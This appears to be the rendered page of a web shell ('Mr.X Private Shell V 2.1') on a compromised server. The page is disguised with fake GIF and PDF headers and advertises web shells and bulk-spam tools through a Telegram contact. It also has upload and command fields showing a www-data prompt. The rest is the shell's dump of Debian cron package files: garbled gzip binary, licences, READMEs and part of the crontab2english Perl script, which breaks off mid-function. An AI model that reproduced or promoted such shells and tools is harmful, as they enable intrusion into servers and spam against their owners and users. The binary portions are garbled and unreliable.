GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
NEWS.Debian.gz000064400000001362000000000000007006 0ustar00��T[o�0~�8��h��e���(h��n���
9�Ib�ؑ/-��s�fc�З�v�w��9��hΧY��I��� h�Y��%[���+e���oS#8l���;0%x:�\�i�$���GH���G�vtP3]�XBiM���ك������JA� �G�Z�(�9`PH�0���;f�	���C����T�k8ʏ`H����MJ����M�F�/u�.4�A`ɂ�Ӄ��2�`JucpRs���^�Yjo;�%�C��٢\��^����	&r��8FϏ�.�ɕX� �*�c�����շ����8!ѫҧ
�"hA�G��	���t^2
���-�	,���N�
��n��U�`��9��e>_��4�e�`��5�����mL��jb�����+p)�h=#�W��o���?N�k�m�E|�#{��1�*
���YtO��H��A�K@59R j��*}�Q	�4^KbE���+�^:��8Jj$��X
����;�vip����5T�u�	NJ���vH�&��u_�5{J���UؐN ��
���v�ԓ�:��Q�oa����?�M�0;�Ukc�PԳ�e�����F�uȃ��ǭl#�[��8ܙ�{�S�����eB��.�i�iq���c8z��h
%t&���X/!�A��RF�5;��'�=�1�
��KG��Cүx��[�n�=�郥RL8s�o�N���0„�Ɩ��/�9:�IvB��w���6copyright000064400000007465000000000000006454 0ustar00Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: vixie-cron
Upstream-Contact: Paul Vixie <paul@vix.com>
Source:
 The original source for this package could be obtained from 
 ftp://ftp.vix.com/pub/vixie/cron-3.0, although that link appears to have gone
 down.

Files: *
Copyright: 1988, 1990, 1993, 1994, Paul Vixie <paul@vix.com>
           1994, Ian Jackson <ian@davenant.greenend.org.uk>
           1996-2005, Steve Greenland <stevegr@debian.org>
           2005-2014, Javier Fernández-Sanguino Peña <jfs@debian.org>
           2010-2016, Christian Kastner <ckk@debian.org>
           Numerous contributions via the Debian BTS copyright their respective authors
License: Paul-Vixie's-license

Files: database.c
Copyright: 1988, 1990, 1993, 1994 Paul Vixie <paul@vix.com>
           1996-2005, Steve Greenland <stevegr@debian.org>
           2003, Clint Adams <schizo@debian.org>
           2010-2011, Christian Kastner <ckk@debian.org>
           2011, Red Hat, Inc.
License: Paul-Vixie's-license and GPL-2+ and ISC

Files: debian/examples/cron-stats.pl
Copyright: 2006, Javier Fernández-Sanguino Peña <jfs@debian.org>
License: GPL-2+

Files: debian/examples/cron-tasks-review.sh
Copyright: 2011, Javier Fernández-Sanguino Peña <jfs@debian.org>
License: GPL-2+

Files: debian/examples/crontab2english.pl
Copyright: 2001, Sean M. Burke
License: Artistic

License: Paul-Vixie's-license
 Distribute freely, except: don't remove my name from the source or
 documentation (don't take credit for my work), mark your changes (don't
 get me blamed for your possible bugs), don't alter or remove this
 notice.  May be sold if buildable source is provided to buyer.  No
 warranty of any kind, express or implied, is included with this
 software; use at your own risk, responsibility for damages (if any) to
 anyone resulting from the use of this software rests entirely with the
 user.

License: GPL-2+
 This package is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation; either version 2 of the License, or
 (at your option) any later version.
 .
 This package is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
 .
 You should have received a copy of the GNU General Public License
 along with this program. If not, see <http://www.gnu.org/licenses/>
 .
 On Debian systems, the complete text of the GNU General
 Public License version 2 can be found in "/usr/share/common-licenses/GPL-2".

License: Artistic
 This program is free software; you can redistribute it and/or modify it
 under the terms of the "Artistic License" which comes with Debian.
 .
 THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
 WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES
 OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 .
 On Debian systems, the complete text of the Artistic License
 can be found in "/usr/share/common-licenses/Artistic".

License: ISC
 Permission to use, copy, modify, and distribute this software for any 
 purpose with or without fee is hereby granted, provided that the above
 copyright notice and this permission notice appear in all copies.
 .
 THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES
 WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR 
 ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT 
 OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
changelog.Debian.gz000064400000002463000000000000010164 0ustar00��W�n7}�WL�[�v�]�n%�[%RbDJ�(
j��q�-�U����_���$�EТ/��KΜ9s�\IgiU<�[�ja�oIYn��Z-��7ߕ�`uyrp�� _����f���TPUy�E9̈��	
���B������p�O�(:��i� +���M����,�xC�&$)���$J�[Y���)<����I~}�VVL/��U�P�w
���PQ�H�h�%�ftI�L�
�FW܋�i���>�Y��b��p�`����/kBԁA���c�����Z-�>�<��<�1�'0W��'tƈ�Zh���^Ғ0�8��Fgx �<�1Z%yc��0�l��z�'��9��?���‚�I�M��j/<P)�#��T�=u+
�@�)Q��Y�4�R���%R���{������%U�1˰���`P\��C���\
�?y2�X3[Ra�׎�J��S<�T
��J-g�s��&���q��E2<4?����
��~��md[?��T�6L��@SclB��c�CM՚��CL"�}E��ac���ӚۤD�0�g\.޺��T�X�&�]���V|q���VNrD|����2'���������#d0&��pQ��H7r�*�i�fؐ��n�):ֈ~��J�rF�WG�U��'~
ƃ����qp��`Ms��s.�k-��=�h�
�E��]=^*����3��@���,�|�H"3��	Ez��=ՠɜ�V��:j��:��d�Ν�5��*�pVQ�V��I0��yUqI
����s<�j��'?�j��06�K:���J��uC����)]z��������w�2�]zL�U;L���v�.�ܞ��g����F��#\z������.k$6��>�8��!k%D�c���f�c{k��1_mcѸ���
�@Sp�;.r��%��'k���%�h(�6|cW���&Qx�+�#W�H!��V�DŽ���ܻ
�� 
�"<l]Q'Iھ<��u�
��@議m�"�[!�FZ4��X���$��N�$�ב�~E�	�k��޸/r���}���k��=���Gl�Bd��&�k���ʙ���N?�a�D�W�a�����n!���u���	����#%���s��s����V�@b����h�k��0��[+��'㼟t�q�������a|�ż�����i����

��6��=)+N�/U�'�6
C�A��P��^���p<����'�ۇe�O[�Vz�r��~RLh�%ٟp8�w��=�ĉ���u�+���(fq�Z�)�L����
���/x���FEATURES000064400000007570000000000000005657 0ustar00$Id: FEATURES,v 2.1 1993/12/28 08:34:43 vixie Exp $

Features of Vixie's cron relative to BSD 4.[23] and SysV crons:

--	Environment variables can be set in each crontab.  SHELL, USER,
	LOGNAME, and HOME are set from the user's passwd entry; all except
	USER can be changed in the crontab.  PATH is especially useful to
	set there.  TZ can be set, but cron ignores it other than passing
	it on through to the commands it runs.  Format is

		variable=value

	Blanks surrounding the '=' will be eaten; other blanks in value are
	okay.  Leading or trailing blanks can be preserved by quoting, single
	or double quotes are okay, just so they match.

		PATH=.:/bin:/usr/bin
		SHELL=/bin/sh
		FOOBAR = this is a long blanky example

	Above, FOOBAR would get "this is a long blanky example" as its value.

	SHELL and HOME will be used when it's time to run a command; if
	you don't set them, HOME defaults to your /etc/passwd entry
	and SHELL defaults to /bin/sh.

	MAILTO, if set to the login name of a user on your system, will be the
	person that cron mails the output of commands in that crontab.  This is
	useful if you decide on BINMAIL when configuring cron.h, since binmail
	doesn't know anything about aliasing.

--	Weekdays can be specified by name.  Case is not significant, but only
	the first three letters should be specified.

--	Months can likewise be specified by name.  Three letters only.

--	Ranges and lists can be mixed.  Standard crons won't allow '1,3-5'.

--	Ranges can specify 'step' values.  '10-16/2' is like '10,12,14,16'.

--	Sunday is both day 0 and day 7 -- apparently BSD and ATT disagree
	about this.

--	Each user gets their own crontab file.  This is a win over BSD 4.2,
	where only root has one, and over BSD 4.3, where they made the crontab
	format incompatible and although the commands can be run by non-root
	uid's, root is still the only one who can edit the crontab file.  This
	feature mimics the SysV cron.

--	The 'crontab' command is loosely compatible with SysV, but has more
	options which just generally make more sense.  Running crontab with
	no arguments will print a cute little summary of the command syntax.

--	Comments and blank lines are allowed in the crontab file.  Comments
	must be on a line by themselves; leading whitespace is ignored, and
	a '#' introduces the comment.

--	(big win) If the `crontab' command changes anything in any crontab,
	the 'cron' daemon will reload all the tables before running the
	next iteration.  In some crons, you have to kill and restart the
	daemon whenever you change a crontab.  In other crons, the crontab
	file is reread and reparsed every minute even if it didn't change.

--	In order to support the automatic reload, the crontab files are not
	readable or writable except by 'crontab' or 'cron'.  This is not a
	problem, since 'crontab' will let you do pretty much whatever you
	want to your own crontab, or if you are root, to anybody's crontab.

--	If any output is generated by a command (on stdout OR stderr), it will
	be mailed to the owner of the crontab that contained the command (or
	MAILTO, see discussion of environment variables, above).  The headers
	of the mail message will include the command that was run, and a
	complete list of the environment that was passed to it, which will
	contain (at least) the USER (LOGNAME on SysV), HOME, and SHELL.

--	the dom/dow situation is odd.  '* * 1,15 * Sun' will run on the
	first and fifteenth AND every Sunday;  '* * * * Sun' will run *only*
	on Sundays;  '* * 1,15 * *' will run *only* the 1st and 15th.  this
	is why we keep 'e->dow_star' and 'e->dom_star'.  I didn't think up
	this behaviour; it's how cron has always worked but the documentation
	hasn't been very clear.  I have been told that some AT&T crons do not
	act this way and do the more reasonable thing, which is (IMHO) to "or"
	the various field-matches together.  In that sense this cron may not
	be completely similar to some AT&T crons.
README.anacron000064400000001145000000000000007006 0ustar00To ease coordination with anacron, the invocation of the run-parts for
the /etc/cron.daily, /etc/cron.weekly, and /etc/cron.monthly directories
was changed to the form

         test -e /usr/sbin/anacron || run-parts --report /etc/cron.daily

What this means is that if anacron has been installed, it will
be responsible for running those scripts. This is the standard
configuration of anacron: if you simply install both cron and anacron,
things will work as expected.

However, if you have modified your anacron configuration
(/etc/anacrontab), you may need to re-adjust it in order to accommodate
this change.
TODO.Debian000064400000003150000000000000006355 0ustar00
TODO stuff
----------

- Split of standard tasks to cron-standard, preliminary packages
  currently available at 
  http://people.debian.org/~jfs/cron-standard
  but we need to handle the conffiles so that they don't get messed up
  See bug #257393 and 
  Message-ID: <20050309142043.GB16617@dat.etsit.upm.es>

- Better behave with cron replacements, investigate how cron packages
  (like fcron or bcron) can be installed/deinstalled without breaking 
  the system. 
  This might imply fixing #304036 (which might help fix #312614 too BTW)

- Debate changing the policy of /etc/cron.d being a drop-in for packages
  only vs. a general drop-in for crontabs


Milestones
----------

- Convert source package to source format 3.0 (quilt)
  The current cron source package is the result of a 1993 upstream and
  17 years of commits. This organic growth must be normalized before an
  upgrade to upstream cron-4.1 can be considered.

- Compare our resulting cron-3.0 patches to FreeBSD's where possible
  This is intended as a safety measure; the goal is to identify any grave
  errors or other larger issues in our patches so we don't carry them on
  into cron-4.1.

- Review and update the ancient Debian packaging
  Certain elements are heavily outdated and must be either brought
  up-to-date, or dropped.

- Update to upstream cron-4.1

- Compare our resulting cron-4.1 to RHEL/SLES, with a focus on possible
  security issues (SUID/SGID, SELinux, ...)

- Compare our resulting cron-4.1 to Fedora's cronie (a fork of ISC cron)

- Consider switching upstream to cronie, or at least grabbing some
  of it's features such as INOTIFY support.
THANKS000064400000003076000000000000005426 0ustar0015 January 1990
Paul Vixie

Many people have contributed to cron.  Many more than I can remember, in fact.
Rich Salz and Carl Gutekunst were each of enormous help to me in V1; Carl for
helping me understand UNIX well enough to write it, and Rich for helping me
get the features right.

John Gilmore wrote me a wonderful review of V2, which took me a whole year to
answer even though it made me clean up some really awful things in the code.
(According to John the most awful things are still in here, of course.)

Paul Close made a suggestion which led to /etc/crond.pid and the mutex locking
on it.  Kevin Braunsdorf of Purdue made a suggestion that led to @reboot and
its brothers and sisters; he also sent some diffs that lead cron toward compil-
ability with System V, though without at(1) capabilities, this cron isn't going
to be that useful on System V.  Bob Alverson fixed a silly bug in the line
number counting.  Brian Reid made suggestions which led to the run queue and
the source-file labelling in installed crontabs.

Scott Narveson ported V2 to a Sequent, and sent in the most useful single batch
of diffs I got from anybody.  Changes attributable to Scott are:
	-> sendmail won't time out if the command is slow to generate output
	-> day-of-week names aren't off by one anymore
	-> crontab says the right thing if you do something you shouldn't do
	-> crontab(5) man page is longer and more informative
	-> misc changes related to the side effects of fclose()
	-> Sequent "universe" support added (may also help on Pyramids)
	-> null pw_shell is dealt with now; default is /bin/sh
README.Debian000064400000002745000000000000006556 0ustar00cron for DEBIAN
----------------------

This is the Debian GNU/Linux prepackaged and heavily modified version
of Paul Vixie's cron subsystem.

Debian's cron development is being done on Alioth:
http://anonscm.debian.org/gitweb/?p=pkg-cron/cron.git

This package was put together by Ian Jackson <iwj10@cus.cam.ac.uk>,
from the standard sources to 3.0pl1, as posted to comp.sources.unix.
Ian obtained them from
src.doc.ic.ac.uk:/usenet/comp.sources.unix/volume27/vixie-cron.

Debian's cron version introduces a significant number of changes:
    * Support for /etc/cron.d   (drop-in dir for package crontabs)
    * Debian-specific file locations and commands
    * PAM support
    * SELinux support
    * auditlog support
    * DST and other time-related changes/fixes
    * SGID crontab(1) instead of SUID root
    * numerous other smaller features and fixes.

Users are STRONGLY advised to carefully check the man pages crontab(1)
and crontab(5). System administrators should also read cron(8).

File locations that are different than that indicated in 
the cron distributions README:

user crontabs: /var/spool/cron/crontabs/*
log file:      Check your syslog settings, facility "cron"
allow file:    /etc/cron.allow
deny file:     /etc/cron.deny

This package is now maintained by Javier Fernández-Sanguino Peña
<jfs@debian.org> and Christian Kastner <ckk@debian.org>

Historical note: The old subversion repository from before the
migration to git can be found here:
 http://svn.debian.org/wsvn/pkg-cron
README000064400000007030000000000000005365 0ustar00#/* Copyright 1988,1990,1993 by Paul Vixie
# * All rights reserved
# *
# * Distribute freely, except: don't remove my name from the source or
# * documentation (don't take credit for my work), mark your changes (don't
# * get me blamed for your possible bugs), don't alter or remove this
# * notice.  May be sold if buildable source is provided to buyer.  No
# * warrantee of any kind, express or implied, is included with this
# * software; use at your own risk, responsibility for damages (if any) to
# * anyone resulting from the use of this software rests entirely with the
# * user.
# *
# * Send bug reports, bug fixes, enhancements, requests, flames, etc., and
# * I'll try to keep a version up to date.  I can be reached as follows:
# * Paul Vixie          <paul@vix.com>          uunet!decwrl!vixie!paul
# */

Vixie Cron V3.0
December 27, 1993
[V2.2 was some time in 1992]
[V2.1 was May 29, 1991]
[V2.0 was July 5, 1990]
[V2.0-beta was December 9, 1988]
[V1.0 was May 6, 1987]
Paul Vixie

[Note from Debian cron maintainer: This is the original README from
the the vixie-cron package. The location of many cron files has been
changed in order to comply with Debian policy and common sense -- look
in the cron(8), crontab(1) and crontab(5) man pages for more info, as
well as the README.Debian file in this directory.]

This is a version of 'cron' that is known to run on BSD 4.[23] systems.  It
is functionally based on the SysV cron, which means that each user can have
their own crontab file (all crontab files are stored in a read-protected
directory, usually /var/cron/tabs).  No direct support is provided for
'at'; you can continue to run 'atrun' from the crontab as you have been
doing.  If you don't have atrun (i.e., System V) you are in trouble.

A messages is logged each time a command is executed; also, the files
"allow" and "deny" in /var/cron can be used to control access to the
"crontab" command (which installs crontabs).  It hasn't been tested on
SysV, although some effort has gone into making the port an easy one.

This is more or less the copyright that USENET contributed software usually
has.  Since ATT couldn't use this version if they had to freely distribute
source, and since I'd love to see them use it, I'll offer some rediculously
low license fee just to have them take it.  In the unlikely event that they
do this, I will continue to support and distribute the pseudo-PD version, so
please, don't flame me for wanting my work to see a wider distribution.

To use this: Sorry, folks, there is no cutesy 'Configure' script.  You'll
have to go edit a couple of files... So, here's the checklist:

	Read all the FEATURES, INSTALL, and CONVERSION files
	Edit config.h
	Edit Makefile
		(both of these files have instructions inside; note that
		 some things in config.h are definable in Makefile and are
		 therefore surrounded by #ifndef...#endif)
	'make'
	'su' and 'make install'
		(you may have to install the man pages by hand)
	kill your existing cron process
		(actually you can run your existing cron if you want, but why?)
	build new crontabs using /usr/lib/{crontab,crontab.local}
		(either put them all in "root"'s crontab, or divide it up
		 and rip out all the 'su' commands, collapse the lengthy
		 lists into ranges with steps -- basically, this step is
		 as much work as you want to make it)
	start up the new cron
		(must be done as root)
	watch it. test it with 'crontab -r' and watch the daemon track your
		changes.
	if you like it, change your /etc/{rc,rc.local} to use it instead of
		the old one.

$Id: README,v 2.3 1993/12/28 08:34:43 vixie Exp $
examples/crontab2english.pl000064400000066044000000000000011756 0ustar00#!/usr/bin/perl
#Time-stamp: "2001-07-29 16:07:28 MDT"
my $VERSION = '0.71';
require 5.00404; # I don't think there's (?: ... ) before that.

=head1 NAME

crontab2english -- explain crontab commands in English

=head1 SYNOPSIS

  Usage:
    % crontab2english [-f] files...
  Or:
    % cat files... | crontab2english
    
  If you do just this:
    % crontab2english
  then it's the same as crontab -l | crontab2english

  Example output:
  % crontab2english | less
  Setting env var MAILTO to hulahoops@polygon.int
  
  Command: (line 2)
    Run: /bin/csh -c 'perl ~/thang.pl | mail -s hujambo root'
    At: 8:10am on    the 15th of    every month
  
  Command: (line 5)
    Run: df -k
    At: 5:40am    every day
  
  Command: (line 7)
    Run: ls -l /tmp
    At: 6:50am    every Monday

  Or with the -f ("f" for filter) switch, it just adds comments
  to the input file:
  
  % crontab2english -f | less
  # My happy crontab file
  MAILTO=hulahoops@polygon.int
  10 8 15 * * /bin/csh -c 'perl ~/thang.pl | mail -s hujambo root'
  #>  At: 8:10am on    the 15th of    every month
  
  
  40 5 * * * df -k
  #>  At: 5:40am    every day
  
  50 6 * * 1 ls -l /tmp
  #>  At: 6:50am    every Monday

=head1 DESCRIPTION

It's easy to make mistakes in crontab files.  Running
C<crontab2english> on your crontab files and reading the
resulting English explanations will help you catch errors.

=head1 SWITCHES

C<-f> puts this in "filter mode" -- the output is just
the input plus commentary.

C<-v> describes the current C<crontab2english>
version to STDOUT and exits.

C<-p> forces POSIX-only mode: anything not allowed in
the POSIX crontab spec won't be understood.

C<-e> (usually default) turns off POSIX-only mode:
i.e., it doesn't feign ignorance of things not in
the POSIX spec.

C<--> signals end of switches.

=head1 ENVIRONMENT

If the evironment variables C<POSIXLY_CORRECT> and/or
C<POSIX_ME_HARDER> are true, then this turns on C<-p> (POSIX-only)
mode by default.  That's overrideable with the C<-e> switch.

=head1 CAVEATS

I've tried to make this program understand all the kinds of crontab
lines that are out there.  That probably includes a few kinds of lines
that your particular cron daemon doesn't understand, so just because
crontab2english understands something doesn't mean your cron daemon
will.

Pragmatically, however, there seem to be three kinds of cron daemons
around these days:

=over

=item *

Ones based on old (1993ish) Vixie crontab.  These understand all of
POSIX, and more.  This is what almost almost everyone runs these days.

=item *

Ones that understand I<only> what the POSIX crontab spec allows --
which excludes all sorts of amenities including: stepped ranges
("1-9/2"), "VAR=NAME" lines, English month or day abbreviations ("mon"
or "jan"), day 7 meaning "Sunday", and "*/3" meaning "every third...".

=item *

Even more recent (post-1993ish) Vixies.  These seem relatively rare.
They seem to be just like old Vixies, plus they understand at-words
like "@annually", "@reboot", etc. (altho in some cases, those aren't
mentioned in the docs!).

=back

There I<could> be some ancient or demented pre-Vixie non-POSIX crons
running somewhere.  One hopes that these would all basically
understand anything that POSIX does (and possibly nothing more?), but
you just might find peculiarities including:

=over

=item *

Rejecting 0 for Sunday, and accepting only 7.

=item *

Rejecting 7 for Sunday, and accepting only 0.

=item *

Accepting lists I<or> ranges, but no lists that include ranges.  I.e.,
allowing "7,8,9", allowing "1-3", but I<not> allowing "1-3,7-9".

=item *

Not accepting ranges at all?

=back

Consult your man pages carefully.

Good general advice: keep your crontab lines simple, and that'll
minimize the chances of disagreement between what you indend, what
crontab2english understands (with or without C<-p>), and what your
cron daemon understands.

=head1 SEE ALSO

C<man 1 crontab>

C<man 5 crontab>

C<man 8 cron>

=head1 BUG REPORTS

If this program explains a crontab line wrong, or can't parse
it, then email me the line, and an explanation of how it you
think it should parse.

=head1 DISCLAIMER

C<crontab2english> is distributed in the hope that it will be useful,
but B<without any warranty>; without even the implied warranty of
B<merchantability> or B<fitness for a particular purpose>.

=head1 COPYRIGHT

Copyright 2001 Sean M. Burke.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 AUTHOR

Sean M. Burke, E<lt>sburke@cpan.orgE<gt>

=head1 README

Translates crontab notation into English, for sanity checking: For
example, "10 8 15 * * foo bar" into: Run: foo bar with input
"baz\x0a" At: 8:10am on the 15th of every month

=head1 SCRIPT CATEGORIES

UNIX/System_administration

=head1 CHANGE LOG

=over

=item v0.71:  2001-07-29

Now supports the weird new Vixie-isms like "C<@annually>".

Features for feigning ignorance of non-POSIX features: C<-p>, C<-e>,
and the evironment variables C<POSIXLY_CORRECT> and/or
C<POSIX_ME_HARDER>.

=item v0.63:  2001-07-17

Fixed a bug spotted by Greg Wimpey, where leading whitespace wasn't
getting duly ignored.

=item v0.62:  2001-07-14

Added special cases for when minutes field is 0.

Added explicit "require" statement to ensure acceptable Perl version.

Changed "Every Tuesday of May" to "Every Tuesday in May"

Changed qr//'s to just plain strings, for all the 500404 dinosaurs.

=item v0.61 2001-01-23

First public release.

=back

=cut

use strict;
use integer;
use constant 'DEBUG' => 0;

my $filter = ''; # ...which is false.

# Lame switch processing:

my $posix; # whether to be just POSIX
while(@ARGV and $ARGV[0] =~ m<^->s) {
  if($ARGV[0] eq '--') { # end of switches.
    shift @ARGV;
    last;
  } elsif($ARGV[0] eq '-f') { # filter mode
    shift @ARGV;
    $filter = '#> '; # ...which is true!
  } elsif($ARGV[0] eq '-p') { # disable extensions
    shift @ARGV;
    $posix = 1;
  } elsif($ARGV[0] eq '-e') { # enable extensions
    shift @ARGV;
    $posix = 0;
  } elsif($ARGV[0] eq '-v') {
    print "crontab2english v$VERSION sburke\@cpan.org\n";
    exit;
  } else {
    die "Usage: crontab2english [-f] [files]\n"
      . "See 'perldoc crontab2english' for more info.\n";
  }
}

$posix = $ENV{'POSIXLY_CORRECT'} || $ENV{'POSIX_ME_HARDER'}
  unless defined $posix;

print $filter, " POSIX-only mode\n" if $posix;

my @lines;
if(@ARGV) {
  @lines = <>;
} elsif(-t *STDIN) {
  @lines = `crontab -l`;
} else {
  @lines = <STDIN>;
}

#--------------------------------------------------------------------------
# Build tables.
my @dows   = qw(Sun Mon Tue Wed Thu Fri Sat);
my @months = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec);
my($dow, $month, %dow2num, %month2num, %num2dow, %num2month);

my %mil2ampm;
@mil2ampm{0 .. 23}
  = ('midnight', map($_ . 'am', 1 .. 11), 'noon', map($_ . 'pm', 1 .. 11));

@dow2num{map lc($_), @dows} = (0 .. 6);
push @dows, 'Sun' unless $posix;
  # POSIX doesn't know about day 7
@num2dow{0 .. $#dows} = @dows;
DEBUG and print "DOWS: @dows\n";


@month2num{map lc($_), @months} = (1 .. 12);
@num2month{1 .. 12} = @months;
unshift @months, '';

{
  my $x = join '|', map quotemeta($_), @dows;
  $dow = "^($x)\$";    # regexp
  $x = join '|', map quotemeta($_), @months;
  $month = "^($x)\$";  # regexp
}

my(%num2month_long, %num2dow_long);
@num2month_long{1 .. 12} = qw(
  January February March April May June July August September October
  November December
);
@num2dow_long{0 .. 6} = qw(
 Sunday Monday Tuesday Wednesday Thursday Friday Saturday
);
$num2dow_long{7} = 'Sunday' unless $posix;

my $atom;
if($posix) {
  $atom = '\d+|(?:\d+-\d+)';           # will be a RE
  # Yes, POSIX allows no stepped ranges.
} else {
  $atom = '\d+|(?:\d+-\d+(?:/\d+)?)';  # will be a RE
}
my $atoms   = "^(?:$atom)(?:,$atom)*\$";    # well be a RE

print "Atoms RE: $atoms\n" if DEBUG;

my %atword = (  # for latter-day Vixie-isms
  'reboot'   => 'At reboot',
  'yearly'   => 'Yearly (midnight on January 1st)',
  'annually' => 'Yearly (midnight on January 1st)',
  'monthly'  => 'Monthly (midnight on the first of every month)',
  'weekly'   => 'Weekly (midnight every Sunday)',
  'daily'    => 'Daily, at midnight',
  'midnight' => 'Daily, at midnight',
  'hourly'   => 'At the top of every hour',
 # These are no longer documented in Vixie cron 3.0.  Why not?
);

#--------------------------------------------------------------------------

my $line_number = 0;

{
  my(@bits,$k,$v);
  foreach (@lines) {
    print $_ if $filter;
    chomp;
    DEBUG > 1 and print "Line: <$_>\n";
    ++$line_number;
    next if m/^[ \t]*#/s or m/^[ \t]*$/s;
    s/^[ \t]+//s; # "leading spaces and tabs are ignored"

    if(DEBUG > 1) {
      @bits = split m/[ \t]+/,$_,6;
      print "Bit count: ", scalar(@bits), ".\n";
    }

    # The POSIX cron spec doesn't seem to mention
    #  environment-setting lines at all!
    
    if(!$posix and m/^([^= \t]+)[ \t]*=[ \t]*\"(.*)\"[ \t]*$/s ) {
      # NAME = "VALUE"
      $k =~ s/[ \t]+$//;
      $filter or print "Setting env var $k to \"$v\"\n";
    } elsif(!$posix and m/^([^= \t]+)[ \t]*=[ \t]*\'(.*)\'[ \t]*$/s ) {
      # NAME = 'VALUE'
      ($k,$v) = ($1,$2);
      #$k =~ s/[ \t]+$//;
      $filter or print "Setting env var $k to \'$v\'\n";
    } elsif(!$posix and m/^([^= \t]+)[ \t]*=(.*)/s ) {
      # NAME = VALUE
      ($k,$v) = ($1,$2);
      #$k =~ s/[ \t]+$//;
      $v =~ s/^[ \t]+//;
      $filter or print "Setting env var $k to $v\n\n";
    } elsif(!$posix and m/^\@(\w+)[ \t]+(.*)/s and exists $atword{lc $1}) {
      process_command($_, $atword{lc $1}, $2);
    } elsif( (@bits = split m/[ \t]+/, $_, 6) and @bits == 6 ) {
      DEBUG and print "Bits: ", map("<$_> ", @bits), "\n";
      process_command($_, @bits);
    } else {
      if($filter) {
        print $filter, "UNPARSEABLE LINE?!\n";
      } else {
        print "Unparseable line (#$line_number): \"", esc($_), "\"\n";
      }
    }
  }
  exit;
}

#--------------------------------------------------------------------------
sub process_command {
  # 0 m,   1 h,   2 day-of-month,  3 month,  4 dow
  my $line = shift;

  my(@time_lines, $command_string);
  if(@_ == 2) { # hack for funky vixieism
    $command_string = $_[1];
    @time_lines = ($_[0]);
  } else {
    # a normal line -- expand and Englishify it
    my(@bits) = expand_time_bits(@_);

    if(@bits == 1) { # signals error condition
      my $x = $bits[0];
      if($filter) {
        print $filter,
          "Unparseable ", @$x == 1 ? 'bit' : 'bits',
         ": ", join(' ', map "\"$_\"", @$x), "\n"
        ;
      } else {
        print
          "Unparseable ", @$x == 1 ? 'bit' : 'bits',
          " in parsing of command ${$x}[-1] at line number $line_number:\n",
          map("  $_\n", @$x), "\n"
        ;
      }
      return;
    }
  
    @time_lines = bits_to_english(@bits);
    $time_lines[0] = ucfirst($time_lines[0]);
    if(length(join '    ', @time_lines) <= 75) {
      @time_lines = (join '    ', @time_lines);
    }
    for(@time_lines) { $_ = ' ' . $_ }; # indent over
    $time_lines[0] = "At:" . $time_lines[0];
    $command_string = pop @bits;
  }
 
  my @command = split( "\n", percent_proc($command_string), -1 );
  
  if(@command) {
    pop @command if @command == 2 and $command[1] eq '';
     # Eliminate mention of basically null input
  } else {
    push @command, '';
  }
  
  if(@command > 1) {
    my $x = join "\n", splice @command, 1;
    push @command, " with input \"" . esc($x) . "\"";
  }
  if($command[0] =~ m<^\*>s) {
    push @command, " (Do you really mean the command to start with \"*\"?)";
  } elsif($command[0] eq '') {
    push @command, " (Do you really mean to run a null command?)";
  }
  $command[0] = "Run: $command[0]";
  
  if($filter) {
    print
      map("$filter $_\n",
          (@command == 1) ? () : (@command), # be concise for simple cases
          @time_lines
         ),
    ;
  } else {
    print
      #was: "Command: (line $line_number) $line\n",
      # but that's awful verbose
      "Command: (line $line_number)\n",
      map("  $_\n", @command, @time_lines ), "\n";
  }
  
  return;
}

#--------------------------------------------------------------------------
sub expand_time_bits {
  my @bits = @_;
  my @unparseable;

  # 0 m,   1 h,   2 day-of-month,  3 month,  4 dow
  
  unless($posix) {
    if($bits[3] =~ m/($month)/oi) { $bits[3] = $month2num{lc $1} }
    if($bits[4] =~ m/($dow)/oi  ) { $bits[4] =   $dow2num{lc $1} }
  }

  for(my $i = 0; $i < 5 ; ++$i) {
    my @segments;
    if($bits[$i] eq '*') {
      push @segments, ['*'];
    } elsif(!$posix and $bits[$i] =~ m<^\*/(\d+)$>s) {
      # a hack for "*/3" etc
      push @segments, ['*', 0 + $1];
    } elsif($bits[$i] =~ m/$atoms/ois) {
      foreach my $thang (split ',', $bits[$i]) {
        if($thang =~ m<^(?:(\d+)|(?:(\d+)-(\d+)(?:/(\d+))?))$>s) {
          if(defined $1) {
            push @segments, [0 + $1]; # "7"
          } elsif(defined $4) {
            push @segments, [0 + $2, 0 + $3, 0 + $4];  # "3-20/4"
          } else {
            push @segments, [0 + $2, 0 + $3]; # "3-20"
          }
        } else {
          warn "GWAH? thang \"$thang\"";
        }
      }
    } else {
